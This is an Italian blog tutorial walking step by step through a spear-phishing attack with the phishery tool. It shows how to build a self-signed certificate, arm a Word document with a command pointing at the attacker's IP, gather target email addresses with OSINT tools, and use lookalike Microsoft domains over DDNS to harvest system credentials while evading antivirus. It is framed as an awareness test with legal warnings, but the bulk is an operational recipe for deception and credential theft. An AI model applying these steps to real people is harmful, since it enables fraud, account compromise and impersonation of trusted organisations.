Spear Phishing – Un’applicazione Concreta

Come ormai tutti sappiamo, il phishing consiste in un tentativo di truffa che mira a sottrarre informazioni e dati sensibili (in genere mediante compilazione di un form) facendo leva sulla buona fede dell’utente che ritiene legittima la provenienza della richiesta.

I componenti chiave coinvolti saranno inevitabilmente il tipo di authority che entra in contatto con l’utente/vittima (azienda, banca, altro sito web) e la probabilità che la comunicazione ricevuta sia ritenuta attendibile. Anche l’occhio vuole la sua parte (sic!) e dunque l’aspetto grafico della vicenda gioca sempre un ruolo di primaria importanza.

Oggi vedremo come approntare una macchina volta a sottrarre le credenziali di sistema ad un utente che utilizza Microsoft Office tramite l’apertura di un documento; la forza dell’attacco che simuleremo si fonda proprio sull’importanza e autorevolezza dell’ente che invita l’utente a inserire i dati del proprio account.

Scopo di questo test sarà sensibilizzare l’utente medio circa la semplicità di attacchi di questo tipo. Troppo spesso infatti, vuoi per fretta durante le attività lavorative o per semplice pigrizia, vengono fornite con leggerezza informazioni sensibili che invece dovrebbero rimanere private. In tal senso il test può essere utile per mettere in luce eventuali atteggiamenti e abitudini scorrette da parte di dipendenti e professionisti di una data azienda o infrastruttura che si trovano ad operare con strumenti informatici.

Alcuni aspetti interessanti del nostro attacco: quest’ultimo sarà efficace sia all’interno di una rete LAN sia dall’esterno attraverso internet e risulterà invisibile a qualsiasi programma antivirus.

Ricordo che effettuare quanto mostrato di seguito senza esplicito consenso degli interessati o del responsabile IT della propria organizzazione, significa incorrere nelle prescrizioni previste dal cosiddetto Codice Privacy (cfr. art 167) e dal Codice Penale (cfr. art 614, art 615-ter, art 617-quater, art 640 e 640-ter, art 494, art 495-bis, art 635 e 635-bis/ter/quater/quinquies).

Bene, procediamo avviando la nostra distribuzione Linux e procurandoci lo script che consentirà di orchestrare il nostro tentativo di furto.

Scarichiamo il progetto da: https://github.com/ryhanson/phishery/releases/

Assicuriamoci che il file settings.json all’interno della cartella del programma presenti i seguenti parametri:

Ciò che ci occorre per il prossimo step è un certificato SSL che protegga la comunicazione che si instaurerà tra attaccante e vittima. In questo tipo di attacchi sono sempre i dettagli a fare la differenza e il certificato di una CA di riferimento che non desti sospetti (anche nei confronti del sistema operativo!) è senza dubbio un’ottima mossa. Inoltre, le più recenti versioni di Microsoft Office per Windows e Mac OSX avvisano l’utente che il certificato non proviene da una fonte attendibile. Sarà sufficiente una rapida ricerca su Google per ottenere un elenco di portali autorevoli presso cui poter acquistare certificati a prezzi abbordabili.

Ai fini del nostro test genereremo invece un certificato in maniera autonoma, rendendolo credibile. Apriamo un terminale e digitiamo:

openssl req -new -x509 -nodes -days 3650 -newkey rsa:2048 -keyout ./server.key -out ./server.crt

Il terminale diventerà interattivo: rispondiamo alle domande ricordando che più saremo accurati e realistici nelle risposte fornite e maggiori probabilità di successo avremo. A procedura conclusa avremo generato all’interno della nostra home i file server.crt e server.key. Collochiamoli nella cartella del programma phishery:

A questo punto entra in gioco la componente più artistica della vicenda, che richiede una certa fantasia insomma. È necessario creare un documento con Microsoft Word che catturi l’attenzione della vittima, attinente magari alla sua attività lavorativa e in conclusione più possibile vicino a una situazione reale; questo documento andrà poi allegato ad una mail oppure recapitato con qualsivoglia metodo.

Esempio MODULO.docx

Va da sé che sia il testo della mail, sia l’indirizzo del mittente andranno studiati a tavolino: in quest’ultima ipotesi è consigliato appoggiarsi a servizi a pagamento che consentono di personalizzare il dominio dal quale verranno inviate le comunicazioni. I più smaliziati potranno in alternativa realizzare un server Apache fai da te sulla propria macchina dedicato appunto all’inoltro della posta elettronica.

L’individuazione degli indirizzi dei destinatari meriterebbe un discorso a parte. Per il momento possiamo dire che sono sempre ben accette ricerche su internet, anche tramite servizi dedicati come:

Non dimentichiamo che social network (LinkedIn, Facebook, Twitter, ecc) e un po’ di logica aiuteranno sicuramente nell’intento: è molto probabile che un’azienda, poniamo con dominio aziendatest.com, adotti come standard per i propri indirizzi interni la classica formula nome.cognome@aziendatest.com. Basterà qualche domanda innocente posta per telefono e ulteriori ricerche incrociate sul web per individuare rapidamente un primo potenziale bersaglio.

Troviamo anche una serie di tool in grado di automatizzare questo tipo di ricerche che risultano utili in operazioni di spear phishing, come ad esempio l’apprezzato progetto italiano theHarverster: lanciamo il comando con la seguente sintassi per ottenere un file di output contenente una lista di indirizzi appartenenti al dominio indicato, naturalmente se pubblicamente disponibili.

Anche Metasploit configurato con i seguenti parametri può essere utile allo scopo:

Nel caso i risultati dei primi due programmi non fossero soddisfacenti, si può tentare anche con il framework recon-ng. Lo strumento, simile al precedente quanto a usabilità, presenta un’ampia gamma di moduli precaricati, alcuni con la propria API key da inserire: il consiglio è quello di provarne qualcuno. Di seguito un esempio:

Infine, non possiamo non citare Maltego: strumento multipiattaforma che, sebbene limitato in versione non commerciale, aiuta a tracciare un profilo organizzativo con cui l’azienda target si espone su internet:

Ma torniamo al nostro script: dobbiamo ora ‘armare’ il documento Word creato, indicando al programma il nostro indirizzo IP e il nome del nuovo file che servirà da payload:

./phishery -u https://INDIRIZZOIPATTACCANTE -i MODULO.docx -o INFETTO.docx

Come anticipato poc’anzi, il documento generato ‘INFETTO.docx’ – a dispetto del nome – non solleva problematiche nei confronti di programmi antivirus in quanto incorpora solo un collegamento web e non porzioni di codice malevolo. L’autorevole sito di valutazione file [ https://www.virustotal.com ] ce ne dà conferma:

Avviamo ora da super utenti il server dell’applicativo, trasmettiamo il documento all’utente vittima e restiamo in ascolto:

Di seguito ciò che la vittima vedrà al momento dell’apertura del documento malevolo. Se non abbiamo acquistato certificati provenienti da CA qualificati ma ne abbiamo confezionato uno ad hoc come visto in precedenza, verrà mostrato  il seguente avviso di sicurezza:

È senz’altro il punto debole dell’intero attacco: tuttavia abbiamo buone probabilità che l’utente, incuriosito dal contenuto dell’allegato, decida di cliccare – se non immediatamente su – sul pulsante Visualizza certificato e fare pace con la propria coscienza prima di aprire il documento.

Se siamo stati abili nel precedente passaggio, saranno visualizzati i seguenti dettagli che dovrebbero rassicurare il nostro retinente bersaglio:

Abbiamo ancora un problema: proseguendo l’utente verrà invitato a inserire le proprie credenziali in una maschera generata da Word ma sarà ben visibile l’indirizzo IP locale dell’attaccante. È chiaro come ciò costituisca un limite che rischia di mettere in crisi l’intero attacco. Cosa possiamo fare per migliorare il nostro inganno?

Una valida soluzione è quella di appoggiarsi ad un servizio DDNS esterno. Attraverso un Dynamic Domain Name System è possibile associare un nome DNS umanamente comprensibile ad un indirizzo IP di uno stesso host; qualora l’indirizzo IP dovesse cambiare nel tempo – generalmente ad opera di una ridistribuzione da parte del proprio ISP – verrà comunque risolto dal servizio. Sul web esistono soluzioni gratuite (a volte sono già compresi nel proprio router di casa) e a pagamento più o meno personalizzabili: naturalmente attribuire un nome al proprio dominio che possa trarre in inganno senza destare sospetti, determinerà la buona riuscita del test. Ecco alcuni nomi di dominio piuttosto gettonati per un test di phishing:

  • support-microsoft.com
  • mail.com
  • microsoftonline.com
  • microsoft-account.com

Per rendere operativa la nostra macchina attaccante attraverso il dominio DDNS desiderato, è necessario creare una regola di Port forwarding nelle impostazioni del router; ecco l’esempio di un router che monta DD-WRT, un firmware libero distribuito sotto licenza GNU GPL:

Dopo questa lunga serie di preparativi, siamo finalmente pronti per avviare sulla nostra distribuzione il server web del tool phishery, pronto a ricevere le fatidiche credenziali. Queste saranno visualizzate in tempo reale nell’output del terminale e memorizzate nel file credential.json.

 

Come vediamo, l’attacco è stato portato a termine. È bene sottolineare come il programma sia in grado di memorizzare qualsiasi credenziale inserita e non necessariamente quelle dell’account di sistema. Dal momento poi che non verifica la corrispondenza username/password, saranno loggati anche eventuali refusi.

Vedremo più avanti come vengono create vere e proprie campagne di phishing di modo da estendere questo genere di attacchi su larga scala e monitorarne i risultati.

A cura di: Milo Caranti

Profilo Autore

Dopo aver frequentato la facoltà di Giurisprudenza, lavora attualmente come programmatore e svolge attività consulenziale per uno studio legale di Milano. Da sempre appassionato di Sicurezza informatica e vicino alle attuali tematiche in ambito ICT, è autore del libro ”Guida al Pentesting con Parrot Security OS”.

Condividi sui Social Network:

Articoli simili